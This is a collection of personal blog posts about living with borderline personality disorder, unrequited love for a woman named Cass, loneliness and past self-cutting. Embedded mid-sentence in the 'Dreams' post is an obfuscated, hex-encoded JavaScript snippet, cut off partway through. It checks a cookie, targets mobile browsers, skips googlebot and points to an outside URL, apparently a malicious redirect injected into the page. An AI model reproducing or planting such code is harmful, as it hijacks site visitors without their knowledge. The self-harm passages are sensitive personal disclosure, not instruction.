Dreams

In a lot of ways my dreams have haunted me. Happy or sad I had my reasons for being frightened and resentful towards them. My bad dreams are usually about heartbreak, abandonment or loss. And the especially terrible ones are about the entity I call the “Shadow Man” and only a select few know the story behind that one. 

But lately I’ve been having amazingly positive dreams. About finding some purpose in my life. Helping others. Falling in love. Having a family of my own. I dream about Cass often. Sometimes she’s behind a wall of glass, unobtainable but still the object of my desire. She’s everything I’ve ever wanted. Smart, funny, gorgeous, vulnerable and caring. I can be open with her, I can be myself with her. I can be weak and vulnerable and still she makes me strong. She makes me want to be a better man. I’d be anything to make her happy. 

Sometimes I punch and claw at the glass wall, desperate to get to her. Sometimes, I place my hand upon the glass and she does the same. And for a moment we are together. But sometimes we are lying in bed together in a sun lit room. The sun seems to shine off her skin as I watch her sleep. She awakes and greets me with a smile. We talk and hold each other close. We laugh and play and sometimes things get intimate. But as much as I enjoy sex and such, I mostly enjoy the dreams where there’s just that closeness. Like we’re the only people the exist in the whole world. 

There was a time when a dream like this would have terrified me. I couldn’t have imagined ever feeling like that about anyone, much less have them feel the same way about me. I’m not saying that I’m clairvoyant or it’s going to happen just as I dreamed it would,  but it sure would be nice. It would be presumptuous of me to say that we’re going to be together. But I can’t deny that I love her. 

She’s the girl of my dreams. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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Scars aka The not the End of Days blog

Hey guys,

I know it’s been ages. There’s even been a bunch of times where I’ve started to write something, lost my chain of thought/was uninspired/or just plain lazy, and deleted it. Like so many things in my life, I went into it with the best of intentions. But again I fell flat on my face. 

But it’s not the end of the world every time I fail. I’ve had to remind myself of that a lot over the years. When my depression and anxiety gets too much for me and I cut myself to relieve the pain, it’s not the end of the world. If anything my self harming has decreased over the years. But like all my other methods I’ve tried over the years to fight off the darkness, there’s no quick fix. I have remind myself to celebrate the little victories, even if I have the scars to show for it. 

Again, it’s not the end of the world. 

Or when my emotions get the better of me and I can’t stand it. Or when I think about Cass everyday, and I’m lonely as all hell and desperate to not feel so damn alone. It’s not the end of the world. I know things are not ideal but I’m fortunate enough to actually care for somebody. I have love in my heart and it helps me find the strength to stay strong. 

Long gone are my days of escaping how I feel. Now I confront them as best as I can. Emotions are not meant to be hidden away. They’re meant to be celebrated. Even the negative ones, like sorrow, heartbreak and pain have reminded me that the positive emotions are worth all the risk. Sure I miss talking to her when it’s been a while, but nothing is like the joy it brings me every time I think of her. 

Sure my life hasn’t always been rosy, but it’s not the end of the world. My pain is not going to kill me. It exists to remind me of where I’ve been and to keep me moving on. Pain is very real, I have the scars to prove it, but it is not who I am. 

Sometimes I think we’d all do better if we reminded ourselves of that. Stay Strong, keep some love in your heart and the rest will sort it self out. And don’t be so hard on yourself.

I’ll do my best to do the same. 

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Putting Yourself First aka The You Matter Too Blog

I’ve always seen my own value through the eyes of others. I’ve tried to be the best friend/confidant I can be. I take pride on always being there for my loved ones, my friends, hell even strangers. I don’t like knowing anyone is suffering or in pain. I like to think the best thing about me is my compassion, my empathy for others.

Mind you, I haven’t always been the best friend either. There’s been plenty of times I’ve had my head stuck up my own ass that I couldn’t see outside my walls and bubbles I live in when the time calls for it. But that doesn’t mean I don’t care. It doesn’t mean that I don’t love you. But sometimes I have to put myself first.

In fact, I should do it more often. Continue reading

If only it was that easy

If only it was that easy to pretend I don’t care. That I dream of having a life together. I wake with the taste of her on my lips and still warm from her embrace. 

If only if it was easy for two people who adore one another to just get past the obstacles and just be together, for they’re both at their best when they are side by side. 

If only I could move on. If I even want to. I love her. So it’s not something I can just switch off. A friend told me I’m wasting my time waiting for her. But the thing is, she’s never asked me to. I’m only waiting because of how I feel about her. How she makes me feel. 

If only it was that easy to be with the one you love. Maybe this is my penance. Maybe it’s karma for all the dodgy shit I’ve done. I deserve to love and be loved. But then again it’s never proved to be something that ever comes easy for me. 

I know I’m full on. I’m intense. Emotions are like that for me and they always will be. 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Fantasy

At times all I do is dream of her. The feeling of her hand in mine. The feel of her skin against mine, her scent filling my nostrils,  her taste on my lips. To hold her close,  to call her mine. I still want her. Just the thought of her drives me wild. And it never goes away. Never. 

I’ve always wanted to feel that closeness with someone and I’ve rarely been able to do so. 

I rarely find myself able to connect like that. Romantically at least. Every person I’ve even been intimate with was somewhat lacking. It wasn’t anything wrong with them, it was a problem with me. I’ve never made love, just fucked them. Fucking someone is just that,  fucking. Not that I like the term “making love” it sounds so hokey. But the truth is I’vef never surrendered myself to a person heart, body and soul. I’ve never had the chance really. And I’ve been with a lot of women waiting for the right one to come along. 

Don’t get me wrong, I’m capable of feeling things. It just doesn’t happen very often. I’ve only loved 3 people in my whole life. I’ve dated a lot of women, but I’ve never really been in love with any of them. I’ve felt some serious affection for them, but I wasn’t in love. I guess I just hoped beyond hope that it would grow into something more. 

The overwhelming theme of my life is I love women who are unavailable. Does this mean I’m unlovable? Do I deserve this? Am I just fractured on the inside? An overwhelming feeling in my life is loneliness. I’ve always felt alone. For years and years it’s been this way. Casual sex only did so much to remove this feeling, but it always came back with a vengeance. 

I’m tired of feeling this way. Nothing changes. It never goes away. And the ones I love are a million miles away. I’m used to being on my own, but I fucking hate it. I subconsciously choose this, but still I hope things will get better. 

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Tidbit Before Bed. 

Don’t you hate how feelings of abandonment disappear the moment they come back? All the confusion and pain evaporate in that moment when you can one again bask in the presence of the one who makes your heart go all a flutter. 

It’s the greatest feeling in the world. But is it always a good thing? Fucked if I know. I just know how she makes me feel and it’s all that matters. Fuck the consequences. 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Being Mental is Fun!

Hey all. I hope everyone is well. Myself? Well today I’m not entirely sure. The old brain is playing games with me. I’m thinking about her again. I haven’t heard from her in a month. I guess I’m invested in someone again. Which sucks because I get all insecure. I’m so used to being self reliant, not letting anyone get too close. But noooo I had to be silly and open up again. 

Not that opening up is a bad thing. In theory it’s a fantastic thing. Actually it feels fantastic! But it’s all the bad stuff that comes with it. I ALWAYS fall for women who are unavailable. Or taken. Usually taken. 

I’m such a fuckin idiot. 

I don’t know what to do. I don’t know anything right now. I’m sure I’ll be okay later. Being crazy is fun isn’t it? Turning mountains into molehills is great! Obsessing over shit is fantastic. Not being able to sleep is wonderful! 

I’m sorry if this blog comes across as me complaining. I suppose I am, but fuck it I need to get shit off my chest. It’s really shit not having anyone to talk to. Well there is my psychiatrist, but I never seem to be going through anything dramatic when I have my monthly teleconference. One of the great advantages of being in the Disability pension is being able to have free teleconferences. It took me years to find a half decent shrink. Finding a good GP is nigh on impossible. Doctors wanna throw pills at you and not actually get to what the actual problems are. 

I suppose I’m still living with a lot of the past stuff. My self confidence comes and goes. I hate feeling so fucking insecure. Some days I’m tops. I can conquer the world and everything I touch turns to gold. But there’s always the inevitable crash. And my God doesn’t it suck! Those are the days where I could sleep all day. It’s better than slicing myself up like I used to. In a way I’m lucky that I cut myself in places that are not easily to see. I’m just imaging the looks I could get having scars all over the place. 

Ugh I’m just thinking too much like always. 

I’ll try and write more. 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Sometimes it’s too much aka the Bursting at the seams blog

One of the biggest issues I have in my struggles with Borderline Personality is the overwhelming nature of everything I feel. I’m talking every single thing I feel. It’s all or nothing. It’s so damn frustrating. I hate it. It’s like I can see how I’m behaving or where my mind is taking me and I’m just a damn passenger. I alienate so many people in my life. People whom I like I push away. Or I scare them off. Or I try just so damn hard to make them like me. God I hate it. Continue reading

Emotions = Abundance of Writing

Hey everyone, I hope you’re all doing great and you’re staying strong. As for me, things are complicated, but ain’t they always? 🙂

Anyway, I’ve been channelling my emotional insecurity and lust and all that other aweseome stuff into some writing. I’ve decided to share it with you. I hope you like it.

Feel free the give me some feedback, I’d love to be able to refine it and make it better. Continue reading

The End Times aka The Ain’t BPD Grand Blog

Hey guys,

Well it’s been 3 nights in a row that I’ve forgotten my meds and I think I’m starting to feel the effects of it. Or perhaps I’m just having a long overdue emotional cluster-fuck. Sometimes I wonder how I would be without my meds, I know I’d certainly be sharper, but I definitely don’t want to go back to being so erratic. I describe it best as being super ultra sharp and mega focused but suddenly you change tact and you can’t focus on a single thing with any form of clarity.

Prepare for a lot of tangents on this one folks.

Welcome to the End Times. Continue reading